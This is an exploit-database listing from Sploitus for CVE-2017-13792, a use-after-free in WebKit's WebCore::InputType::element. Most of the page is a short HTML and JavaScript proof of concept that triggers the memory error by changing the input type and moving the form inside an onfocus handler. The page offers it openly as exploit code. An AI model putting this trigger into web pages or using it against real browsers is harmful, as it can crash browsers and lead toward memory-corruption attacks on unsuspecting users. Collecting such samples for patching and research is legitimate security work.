Sploitus

Exploit for WebKit: use-after-free in WebCore::InputType::element

CVE-2017-13792

seebug · 2017-11-23

Exploit Code

MARKDOWN21 lines
## https://sploitus.com/exploit?id=SSV:96884
<script>
function go() {
  input.selectionDirection = "foo";
}
var i=0;
function eventhandler() {
 i++;
 if(i==1) {
  input.setAttribute("autofocus", "autofocus");
  div.appendChild(form);
 }
 if(i==2) {
  input.type = "image/x-unsupported";
 }
}
</script>
<body onload=go()>
<div id="div">
<form id="form">
<input id="input" onfocus="eventhandler()" type="tel">